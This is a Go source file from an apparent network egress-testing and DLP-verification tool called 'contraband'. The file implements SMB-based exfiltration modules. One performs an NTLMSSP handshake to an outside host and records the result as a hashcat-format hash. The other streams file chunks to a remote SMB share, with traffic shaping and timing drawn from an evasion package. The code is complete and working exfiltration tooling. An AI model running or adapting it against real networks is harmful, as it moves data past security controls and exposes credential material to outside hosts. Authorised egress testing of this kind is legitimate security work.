● Notice //GitHub (@shehzade) is temporarily suspended pending an automated false-positive review. All tools are hosted on this Code Mirror and available on request (contact); GitHub links will return once reinstated.
PUBLIC MIRRORGo v1.0

Multi-protocol network egress assessment and DLP verification framework featuring automated L4 sweeps, corporate proxy traversal, and covert protocol smuggling across 20+ channels.

$ git clone https://shehzade.io/repos/contraband.git Copy
Source ZIP (1.93 MB)
Code 174 Commits 1
contraband / pkg / client / exfil / smb / smb_tcp.go
← Back to directory
547 lines · 16.5 KB
Raw
1package smb
2
3import (
4 "context"
5 "encoding/binary"
6 "fmt"
7 "io"
8 "net"
9 "strconv"
10 "time"
11
12 "github.com/shehzade/contraband/pkg/client/evasion"
13 "github.com/shehzade/contraband/pkg/client/exfil"
14 "github.com/shehzade/contraband/pkg/common"
15)
16
17func init() {
18 exfil.RegisterExfiltrator(common.ProtoSMBFile, NewSMBTCPFileExfiltrator())
19 exfil.RegisterExfiltrator(common.ProtoSMBHash, NewSMBTCPHashExfiltrator())
20}
21
22func ClassifySMBError(err error) common.Verdict {
23 return common.ClassifyError(err)
24}
25
26func calculateDurations(r *common.ProbeResult) {
27 if r.Timestamps.TeardownDone.IsZero() {
28 r.Timestamps.TeardownDone = time.Now().UTC()
29 }
30 r.Timestamps.ComputeDurations()
31 if r.Timestamps.TransferDuration > 0 && r.BytesSent > 0 {
32 r.ThroughputBps = float64(r.BytesSent*8) / (float64(r.Timestamps.TransferDuration) / float64(time.Second)) / 1000.0
33 }
34}
35
36// SMBTCPHashExfiltrator tests if outbound SMB TCP 445 leaks credentials via NTLM handshake.
37type SMBTCPHashExfiltrator struct{}
38
39func NewSMBTCPHashExfiltrator() *SMBTCPHashExfiltrator {
40 return &SMBTCPHashExfiltrator{}
41}
42
43func (e *SMBTCPHashExfiltrator) Protocol() string {
44 return common.ProtoSMBHash
45}
46
47func (e *SMBTCPHashExfiltrator) Exfiltrate(ctx context.Context, reader io.Reader, opts exfil.ExfilOptions) (*common.ProbeResult, error) {
48 if err := opts.Validate(); err != nil {
49 return nil, err
50 }
51
52 start := time.Now().UTC()
53 result, err := common.NewProbeResult("exfil", e.Protocol(), opts.TargetHost, opts.TargetPort)
54 if err != nil {
55 return nil, err
56 }
57 result.Timestamps.StartTCP = start
58 result.PayloadType = opts.PayloadType
59 result.CarrierType = opts.CarrierType
60
61 targetAddr := net.JoinHostPort(opts.TargetHost, strconv.Itoa(opts.TargetPort))
62 d := net.Dialer{Timeout: opts.Timeout}
63 conn, dialErr := d.DialContext(ctx, "tcp", targetAddr)
64 if dialErr != nil {
65 result.Verdict = ClassifySMBError(dialErr)
66 result.ErrorMessage = dialErr.Error()
67 calculateDurations(&result)
68 return &result, dialErr
69 }
70 defer conn.Close()
71 _ = conn.SetDeadline(time.Now().Add(opts.Timeout))
72
73 result.Timestamps.ConnectedTCP = time.Now().UTC()
74 result.Timestamps.FirstByteSent = time.Now().UTC()
75
76 username := opts.Headers["username"]
77 if username == "" {
78 username = "contraband"
79 }
80 password := opts.Headers["password"]
81 if password == "" {
82 password = "ContrabandPassword123!"
83 }
84 domain := opts.Headers["domain"]
85 if domain == "" {
86 domain = "CONTRABAND"
87 }
88
89 var msgID uint64 = 0
90
91 // Step 1: Send SMB2 Negotiate Request
92 negPkt := BuildSMB2NegotiateRequest(msgID)
93 msgID++
94 if _, err := conn.Write(PackNetBIOS(negPkt)); err != nil {
95 result.Verdict = ClassifySMBError(err)
96 result.ErrorMessage = fmt.Sprintf("failed to send SMB2 Negotiate: %v", err)
97 calculateDurations(&result)
98 return &result, err
99 }
100 result.BytesSent += int64(len(negPkt) + 4)
101
102 negRespRaw, err := ReadNetBIOSMessage(conn)
103 if err != nil {
104 result.Verdict = ClassifySMBError(err)
105 result.ErrorMessage = fmt.Sprintf("failed to read SMB2 Negotiate response: %v", err)
106 calculateDurations(&result)
107 return &result, err
108 }
109 result.BytesRecv += int64(len(negRespRaw) + 4)
110 if len(negRespRaw) < 64 {
111 err := fmt.Errorf("SMB2 Negotiate response truncated: %d bytes", len(negRespRaw))
112 result.Verdict = common.VerdictBlockedL7
113 result.ErrorMessage = err.Error()
114 calculateDurations(&result)
115 return &result, err
116 }
117
118 // Step 2: Send SMB2 Session Setup Request containing NTLMSSP Type 1
119 type1Bytes := BuildNTLMSSPType1()
120 setup1Pkt := BuildSMB2SessionSetupRequest(msgID, 0, type1Bytes)
121 msgID++
122 if _, err := conn.Write(PackNetBIOS(setup1Pkt)); err != nil {
123 result.Verdict = ClassifySMBError(err)
124 result.ErrorMessage = fmt.Sprintf("failed to send SMB2 Session Setup Type 1: %v", err)
125 calculateDurations(&result)
126 return &result, err
127 }
128 result.BytesSent += int64(len(setup1Pkt) + 4)
129
130 setup1RespRaw, err := ReadNetBIOSMessage(conn)
131 if err != nil {
132 result.Verdict = ClassifySMBError(err)
133 result.ErrorMessage = fmt.Sprintf("failed to read SMB2 Session Setup Type 2 response: %v", err)
134 calculateDurations(&result)
135 return &result, err
136 }
137 result.BytesRecv += int64(len(setup1RespRaw) + 4)
138
139 setup1Hdr, err := DecodeSMB2Header(setup1RespRaw)
140 if err != nil {
141 result.Verdict = common.VerdictBlockedL7
142 result.ErrorMessage = fmt.Sprintf("invalid SMB2 header in Type 2 response: %v", err)
143 calculateDurations(&result)
144 return &result, err
145 }
146
147 sessionID := setup1Hdr.SessionID
148 // Extract NTLMSSP Type 2 from Session Setup body
149 // Response body structure size is 9, security buffer offset at body[4:6], length at body[6:8]
150 if len(setup1RespRaw) < 64+9 {
151 err := fmt.Errorf("SMB2 Session Setup Type 2 response body truncated")
152 result.Verdict = common.VerdictBlockedL7
153 result.ErrorMessage = err.Error()
154 calculateDurations(&result)
155 return &result, err
156 }
157 secBufOffset := binary.LittleEndian.Uint16(setup1RespRaw[64+4 : 64+6])
158 secBufLen := binary.LittleEndian.Uint16(setup1RespRaw[64+6 : 64+8])
159 if int(secBufOffset+secBufLen) > len(setup1RespRaw) {
160 err := fmt.Errorf("invalid security buffer offset/length in Type 2 response")
161 result.Verdict = common.VerdictBlockedL7
162 result.ErrorMessage = err.Error()
163 calculateDurations(&result)
164 return &result, err
165 }
166 type2Bytes := setup1RespRaw[secBufOffset : secBufOffset+secBufLen]
167 challenge, srvTarget, err := ParseNTLMSSPType2Challenge(type2Bytes)
168 if err != nil {
169 result.Verdict = common.VerdictBlockedL7
170 result.ErrorMessage = fmt.Sprintf("failed to parse NTLMSSP Type 2 challenge: %v", err)
171 calculateDurations(&result)
172 return &result, err
173 }
174 if srvTarget != "" && domain == "CONTRABAND" {
175 domain = srvTarget
176 }
177
178 // Step 3: Send SMB2 Session Setup Request containing NTLMSSP Type 3
179 type3Bytes := BuildNTLMSSPType3(username, domain, password, challenge)
180 setup2Pkt := BuildSMB2SessionSetupRequest(msgID, sessionID, type3Bytes)
181 msgID++
182 if _, err := conn.Write(PackNetBIOS(setup2Pkt)); err != nil {
183 result.Verdict = ClassifySMBError(err)
184 result.ErrorMessage = fmt.Sprintf("failed to send SMB2 Session Setup Type 3: %v", err)
185 calculateDurations(&result)
186 return &result, err
187 }
188 result.BytesSent += int64(len(setup2Pkt) + 4)
189
190 setup2RespRaw, err := ReadNetBIOSMessage(conn)
191 if err != nil {
192 result.Verdict = ClassifySMBError(err)
193 result.ErrorMessage = fmt.Sprintf("failed to read SMB2 Session Setup Type 3 response: %v", err)
194 calculateDurations(&result)
195 return &result, err
196 }
197 result.BytesRecv += int64(len(setup2RespRaw) + 4)
198
199 // Format hashcat representation for assessment record
200 _, _, hashcatStr, _, _ := ParseNTLMSSPType3(type3Bytes, challenge)
201 result.CapturedHash = hashcatStr
202 result.RawEvidence = common.FormatBoundedRawEvidence([]byte(hashcatStr))
203
204 result.Timestamps.AckReceived = time.Now().UTC()
205 result.Timestamps.TeardownDone = time.Now().UTC()
206 result.Verdict = common.VerdictSuccess
207 calculateDurations(&result)
208
209 return &result, nil
210}
211
212// SMBTCPFileExfiltrator streams file chunk frames with 32-byte ChunkHeader over SMB TCP 445.
213type SMBTCPFileExfiltrator struct{}
214
215func NewSMBTCPFileExfiltrator() *SMBTCPFileExfiltrator {
216 return &SMBTCPFileExfiltrator{}
217}
218
219func (e *SMBTCPFileExfiltrator) Protocol() string {
220 return common.ProtoSMBFile
221}
222
223func (e *SMBTCPFileExfiltrator) Exfiltrate(ctx context.Context, reader io.Reader, opts exfil.ExfilOptions) (*common.ProbeResult, error) {
224 if err := opts.Validate(); err != nil {
225 return nil, err
226 }
227
228 start := time.Now().UTC()
229 result, err := common.NewProbeResult("exfil", e.Protocol(), opts.TargetHost, opts.TargetPort)
230 if err != nil {
231 return nil, err
232 }
233 result.Timestamps.StartTCP = start
234 result.PayloadType = opts.PayloadType
235 result.CarrierType = opts.CarrierType
236
237 if opts.SessionToken.IsZero() {
238 tok, tokErr := common.NewSessionToken()
239 if tokErr != nil {
240 return nil, tokErr
241 }
242 opts.SessionToken = tok
243 }
244
245 chunker, err := evasion.NewStreamChunker(reader, opts.SessionToken, opts.ChunkSize, opts.TotalBytes)
246 if err != nil {
247 return nil, fmt.Errorf("failed to initialize chunk streamer: %w", err)
248 }
249 defer chunker.Close()
250
251 targetAddr := net.JoinHostPort(opts.TargetHost, strconv.Itoa(opts.TargetPort))
252 d := net.Dialer{Timeout: opts.Timeout}
253 conn, dialErr := d.DialContext(ctx, "tcp", targetAddr)
254 if dialErr != nil {
255 result.Verdict = ClassifySMBError(dialErr)
256 result.ErrorMessage = dialErr.Error()
257 calculateDurations(&result)
258 return &result, dialErr
259 }
260 defer conn.Close()
261 _ = conn.SetDeadline(time.Now().Add(opts.Timeout))
262
263 result.Timestamps.ConnectedTCP = time.Now().UTC()
264 result.Timestamps.FirstByteSent = time.Now().UTC()
265
266 var msgID uint64 = 0
267
268 // Step 1: Negotiate
269 negPkt := BuildSMB2NegotiateRequest(msgID)
270 msgID++
271 if _, err := conn.Write(PackNetBIOS(negPkt)); err != nil {
272 result.Verdict = ClassifySMBError(err)
273 result.ErrorMessage = fmt.Sprintf("failed to send SMB2 Negotiate: %v", err)
274 calculateDurations(&result)
275 return &result, err
276 }
277 result.BytesSent += int64(len(negPkt) + 4)
278
279 negRespRaw, err := ReadNetBIOSMessage(conn)
280 if err != nil {
281 result.Verdict = ClassifySMBError(err)
282 result.ErrorMessage = fmt.Sprintf("failed to read SMB2 Negotiate response: %v", err)
283 calculateDurations(&result)
284 return &result, err
285 }
286 result.BytesRecv += int64(len(negRespRaw) + 4)
287
288 // Step 2: Anonymous Session Setup or Type 1
289 username := opts.Headers["username"]
290 password := opts.Headers["password"]
291 domain := opts.Headers["domain"]
292 if domain == "" {
293 domain = "WORKGROUP"
294 }
295
296 var sessionID uint64 = 0
297 if username != "" && password != "" {
298 // NTLMSSP authentication
299 type1Bytes := BuildNTLMSSPType1()
300 setup1Pkt := BuildSMB2SessionSetupRequest(msgID, 0, type1Bytes)
301 msgID++
302 if _, err := conn.Write(PackNetBIOS(setup1Pkt)); err != nil {
303 result.Verdict = ClassifySMBError(err)
304 result.ErrorMessage = err.Error()
305 calculateDurations(&result)
306 return &result, err
307 }
308 result.BytesSent += int64(len(setup1Pkt) + 4)
309
310 setup1RespRaw, err := ReadNetBIOSMessage(conn)
311 if err != nil {
312 result.Verdict = ClassifySMBError(err)
313 result.ErrorMessage = err.Error()
314 calculateDurations(&result)
315 return &result, err
316 }
317 result.BytesRecv += int64(len(setup1RespRaw) + 4)
318
319 s1Hdr, err := DecodeSMB2Header(setup1RespRaw)
320 if err != nil {
321 result.Verdict = common.VerdictBlockedL7
322 result.ErrorMessage = err.Error()
323 calculateDurations(&result)
324 return &result, err
325 }
326 sessionID = s1Hdr.SessionID
327
328 secBufOffset := binary.LittleEndian.Uint16(setup1RespRaw[64+4 : 64+6])
329 secBufLen := binary.LittleEndian.Uint16(setup1RespRaw[64+6 : 64+8])
330 type2Bytes := setup1RespRaw[secBufOffset : secBufOffset+secBufLen]
331 challenge, _, err := ParseNTLMSSPType2Challenge(type2Bytes)
332 if err != nil {
333 result.Verdict = common.VerdictBlockedL7
334 result.ErrorMessage = err.Error()
335 calculateDurations(&result)
336 return &result, err
337 }
338
339 type3Bytes := BuildNTLMSSPType3(username, domain, password, challenge)
340 setup2Pkt := BuildSMB2SessionSetupRequest(msgID, sessionID, type3Bytes)
341 msgID++
342 if _, err := conn.Write(PackNetBIOS(setup2Pkt)); err != nil {
343 result.Verdict = ClassifySMBError(err)
344 result.ErrorMessage = err.Error()
345 calculateDurations(&result)
346 return &result, err
347 }
348 result.BytesSent += int64(len(setup2Pkt) + 4)
349
350 setup2RespRaw, err := ReadNetBIOSMessage(conn)
351 if err != nil {
352 result.Verdict = ClassifySMBError(err)
353 result.ErrorMessage = err.Error()
354 calculateDurations(&result)
355 return &result, err
356 }
357 result.BytesRecv += int64(len(setup2RespRaw) + 4)
358
359 s2Hdr, _ := DecodeSMB2Header(setup2RespRaw)
360 if s2Hdr != nil && s2Hdr.Status != 0 {
361 err := fmt.Errorf("SMB2 Session Setup failed with status 0x%08X", s2Hdr.Status)
362 result.Verdict = common.VerdictBlockedL7
363 result.ErrorMessage = err.Error()
364 calculateDurations(&result)
365 return &result, err
366 }
367 } else {
368 // Anonymous setup
369 setupPkt := BuildSMB2SessionSetupRequest(msgID, 0, nil)
370 msgID++
371 if _, err := conn.Write(PackNetBIOS(setupPkt)); err != nil {
372 result.Verdict = ClassifySMBError(err)
373 result.ErrorMessage = err.Error()
374 calculateDurations(&result)
375 return &result, err
376 }
377 result.BytesSent += int64(len(setupPkt) + 4)
378
379 setupRespRaw, err := ReadNetBIOSMessage(conn)
380 if err != nil {
381 result.Verdict = ClassifySMBError(err)
382 result.ErrorMessage = err.Error()
383 calculateDurations(&result)
384 return &result, err
385 }
386 result.BytesRecv += int64(len(setupRespRaw) + 4)
387
388 sHdr, err := DecodeSMB2Header(setupRespRaw)
389 if err != nil {
390 result.Verdict = common.VerdictBlockedL7
391 result.ErrorMessage = err.Error()
392 calculateDurations(&result)
393 return &result, err
394 }
395 sessionID = sHdr.SessionID
396 }
397
398 // Step 3: Tree Connect
399 sharePath := opts.Headers["share"]
400 if sharePath == "" {
401 sharePath = fmt.Sprintf("\\\\%s\\share", opts.TargetHost)
402 }
403 treePkt := BuildSMB2TreeConnectRequest(msgID, sessionID, sharePath)
404 msgID++
405 if _, err := conn.Write(PackNetBIOS(treePkt)); err != nil {
406 result.Verdict = ClassifySMBError(err)
407 result.ErrorMessage = err.Error()
408 calculateDurations(&result)
409 return &result, err
410 }
411 result.BytesSent += int64(len(treePkt) + 4)
412
413 treeRespRaw, err := ReadNetBIOSMessage(conn)
414 if err != nil {
415 result.Verdict = ClassifySMBError(err)
416 result.ErrorMessage = err.Error()
417 calculateDurations(&result)
418 return &result, err
419 }
420 result.BytesRecv += int64(len(treeRespRaw) + 4)
421
422 treeHdr, err := DecodeSMB2Header(treeRespRaw)
423 if err != nil {
424 result.Verdict = common.VerdictBlockedL7
425 result.ErrorMessage = err.Error()
426 calculateDurations(&result)
427 return &result, err
428 }
429 treeID := treeHdr.TreeID
430
431 // Step 4: Create File
432 fileName := fmt.Sprintf("contraband_%s.dat", opts.SessionToken.String())
433 createPkt := BuildSMB2CreateRequest(msgID, sessionID, treeID, fileName)
434 msgID++
435 if _, err := conn.Write(PackNetBIOS(createPkt)); err != nil {
436 result.Verdict = ClassifySMBError(err)
437 result.ErrorMessage = err.Error()
438 calculateDurations(&result)
439 return &result, err
440 }
441 result.BytesSent += int64(len(createPkt) + 4)
442
443 createRespRaw, err := ReadNetBIOSMessage(conn)
444 if err != nil {
445 result.Verdict = ClassifySMBError(err)
446 result.ErrorMessage = err.Error()
447 calculateDurations(&result)
448 return &result, err
449 }
450 result.BytesRecv += int64(len(createRespRaw) + 4)
451
452 var fileID [16]byte
453 if len(createRespRaw) >= 64+88 {
454 copy(fileID[:], createRespRaw[64+64:64+80])
455 }
456
457 // Step 5: Write Chunks sequentially
458 var fileOffset uint64 = 0
459 var headEvidence []byte
460 for {
461 chunkFrame, _, err := chunker.Next()
462 if err == io.EOF {
463 break
464 }
465 if err != nil {
466 result.Verdict = ClassifySMBError(err)
467 result.ErrorMessage = err.Error()
468 calculateDurations(&result)
469 return &result, err
470 }
471
472 if len(headEvidence) < 1024 {
473 take := 1024 - len(headEvidence)
474 if take > len(chunkFrame) {
475 take = len(chunkFrame)
476 }
477 headEvidence = append(headEvidence, chunkFrame[:take]...)
478 }
479
480 if opts.Shaper != nil {
481 if err := opts.Shaper.WaitN(ctx, len(chunkFrame)); err != nil {
482 result.Verdict = ClassifySMBError(err)
483 result.ErrorMessage = err.Error()
484 calculateDurations(&result)
485 return &result, err
486 }
487 }
488 if opts.Cadence != nil {
489 delay := opts.Cadence.NextDelay()
490 if delay > 0 {
491 select {
492 case <-time.After(delay):
493 case <-ctx.Done():
494 result.Verdict = ClassifySMBError(ctx.Err())
495 result.ErrorMessage = ctx.Err().Error()
496 calculateDurations(&result)
497 return &result, ctx.Err()
498 }
499 }
500 }
501
502 writePkt := BuildSMB2WriteRequest(msgID, sessionID, treeID, fileID, fileOffset, chunkFrame)
503 msgID++
504 if _, err := conn.Write(PackNetBIOS(writePkt)); err != nil {
505 result.Verdict = ClassifySMBError(err)
506 result.ErrorMessage = err.Error()
507 calculateDurations(&result)
508 return &result, err
509 }
510 result.BytesSent += int64(len(writePkt) + 4)
511 fileOffset += uint64(len(chunkFrame))
512
513 writeRespRaw, err := ReadNetBIOSMessage(conn)
514 if err != nil {
515 result.Verdict = ClassifySMBError(err)
516 result.ErrorMessage = err.Error()
517 calculateDurations(&result)
518 return &result, err
519 }
520 result.BytesRecv += int64(len(writeRespRaw) + 4)
521 }
522
523 // Step 6: Close File
524 closePkt := BuildSMB2CloseRequest(msgID, sessionID, treeID, fileID)
525 msgID++
526 _, _ = conn.Write(PackNetBIOS(closePkt))
527 closeRespRaw, _ := ReadNetBIOSMessage(conn)
528 result.BytesRecv += int64(len(closeRespRaw) + 4)
529
530 // Step 7: Tree Disconnect
531 discPkt := BuildSMB2TreeDisconnectRequest(msgID, sessionID, treeID)
532 _, _ = conn.Write(PackNetBIOS(discPkt))
533
534 result.Timestamps.AckReceived = time.Now().UTC()
535 result.Timestamps.TeardownDone = time.Now().UTC()
536 result.Verdict = common.VerdictSuccess
537 if opts.ExpectedHash != "" {
538 result.PayloadHash = opts.ExpectedHash
539 } else {
540 result.PayloadHash = chunker.PayloadHashHex()
541 }
542 result.TargetVolume = result.BytesSent
543 result.RawEvidence = common.FormatBoundedRawEvidence(headEvidence)
544 calculateDurations(&result)
545
546 return &result, nil
547}